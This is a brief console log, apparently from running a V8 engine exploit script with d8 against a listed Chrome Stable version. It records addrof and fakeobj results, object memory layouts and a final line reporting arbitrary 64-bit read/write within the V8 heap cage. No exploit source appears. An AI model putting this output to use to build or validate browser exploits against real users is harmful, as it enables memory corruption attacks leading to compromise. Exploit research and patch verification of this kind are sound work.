V8 commit: 16ef80c1f5d3cfade812bd1743952a4cfd480a31
V8 version: 14.9.207.27
Chrome Stable: 149.0.7827.115
Invocation: d8 exploit-stable.js
V8 runtime flags: none

addrof(carrier) = 0x012386f9
addrof(victim)  = 0x01238771
fakeobj length  = 32
carrier +0x00  = 0x0100d131 0x000007e5
carrier +0x08  = 0x01238711 0x00000010
victim.elements = 0x01238789, victim.length = 0x00000004
readback       = 0xe8a71de7 0x4094e488
victim[0]      = 1337.1337
DEFAULT_FLAGS_SUCCESS: addrof + fakeobj + arbitrary 64-bit cage read/write
